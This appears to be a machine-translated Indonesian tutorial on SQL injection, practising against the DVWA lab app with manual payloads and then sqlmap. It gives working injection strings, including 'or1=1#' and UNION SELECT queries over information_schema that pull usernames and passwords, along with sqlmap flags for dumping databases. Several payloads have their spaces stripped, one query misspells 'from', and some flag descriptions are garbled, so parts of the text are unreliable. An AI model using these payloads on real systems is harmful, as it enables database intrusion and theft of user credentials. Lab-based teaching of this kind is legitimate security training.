Keamanan server aplikasi web (kerentanan pengunggahan file, kerentanan penyertaan file)
Keamanan klien web (serangan lintas situs XSS)
2. injeksi sql
2.1 Pengenalan injeksi sql
Injeksi SQL menempati urutan teratas dalam daftar masalah keamanan
Serangan injeksi SQL adalah parameter input tidak disaring dan kemudian langsung digabungkan ke dalam pernyataan SQL untuk dianalisis.
Injeksi SQL adalah teknik serangan yang menambahkan kode SQL ke parameter input dan meneruskannya ke server untuk diurai dan dieksekusi.
2.2 Prinsip injeksi SQL
Penyerang mengirimkan karakter jahat di halaman
Server tidak memfilter parameter yang dikirimkan atau pemfilteran tidak mencukupi.
Penyerang menggunakan penyambungan pernyataan sql untuk mendapatkan informasi sensitif dari database
2.3 Bahaya injeksi sql
Kebocoran basis data
Data pengguna dibeli dan dijual secara ilegal
Mengompromikan keamanan aplikasi web
2.4 Metode implementasi injeksi SQL
petunjuk
Temukan: titik injeksi
Masukan: Sintaks kombinasi injeksi umum SQL untuk injeksi
otomatis (alat)
Alat: Pindai titik injeksi
Masukan: Secara otomatis mencoba berbagai kombinasi sintaksis
3.Pengaturan lingkungan
3.1 mesin virtual vmware
3.1.1 Fungsi
Perangkat lunak mesin virtual, Anda dapat menggunakan perangkat lunak untuk menginstal beberapa sistem operasi virtual (Linux, windows) pada mesin fisik
3.3 Mesin penetrasi (belajar menyerang lingkungan injeksi sql)
memengaruhi:
Kali berisi ratusan alat yang dapat digunakan untuk berbagai tugas keamanan informasi seperti pengujian penetrasi, penelitian keamanan
4. Injeksi manual
4.1 Persiapan lingkungan
Deskripsi: Praktek injeksi manual melalui aplikasi web drone melangkah:
Mulai sasaran drone OWASP
Akses drone melalui browser
Kunjungi proyek OWASP-dvwa
Gabung
Pilih aplikasi injeksi sql
4.2 Temukan titik injeksi
Catatan: Terutama menggunakan tanda kutip tunggal dan karakter escape, terutama tanda kutip tunggal prinsip:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 Logis ATAU
4.4 Menebak jumlah kolom
oleh serikat pekerja
' unionselect1,2#
1
2. Dengan logika OR
'or1=1#
1
4.5 Dapatkan database, tabel, dan kolom
Dapatkan nama basis data
' unionselect1,database()#
1
Dapatkan meja
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Dapatkan kolom
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Dapatkan data
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 fungsi gabungan
Fungsi: Menyambungkan beberapa string menjadi satu string Sintaks: concat(str1,str2,…) Contoh:
Dapatkan user_id, user, password dari tabel pengguna dan tampilkan dalam dua kolom
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Injeksi otomatis
5.1 Pengenalan injeksi otomatis
Catatan: Injeksi otomatis mengacu pada penggunaan alat alih-alih pekerjaan manual untuk menyelesaikan operasi injeksi sql. Alat: sqlmap
5.2 Secara otomatis menyuntikkan lingkungan
Mulai dronenya
Nyalakan mesin penetrasi
5.3 peta sql
Alat: sqlmap
Alat pengujian penetrasi sumber terbuka
Secara otomatis mendeteksi dan mengeksploitasi kerentanan injeksi SQL dan mengambil alih server database
5.3.1 Penggunaan dasar sqlmap
parameter
-u: Pindai url target
–batch: Secara otomatis memproses informasi cepat
–cookie: parameter cookie tambahan
melangkah
Pindai titik injeksi
Dapatkan nama basis data
Dapatkan nama tabel
Dapatkan nama bidang
mengambil data
Karena kita perlu login, pertama-tama kita mendapatkan cookie dari halaman login Kemudian mulailah memindai titik injeksi Suntikan berhasil
5.3.2 sqlmap mendapatkan nama perpustakaan
– current-db: Meminta nama database yang digunakan oleh web saat ini -D: Menerapkan database yang ditentukan hasil operasi:
5.3.3 sqlmap mendapat tabel
– current-db: Kueri semua nama tabel di bawah perpustakaan yang ditentukan (Anda perlu menggunakan -D untuk menentukan nama perpustakaan terlebih dahulu) -T: Tentukan tabel
hasil operasi:
5.3.4 sqlmap mendapat kolom
– kolom: Kueri semua bidang di bawah tabel yang ditentukan (Anda perlu menggunakan -T untuk menentukan nama tabel terlebih dahulu) -C: Tentukan nama bidang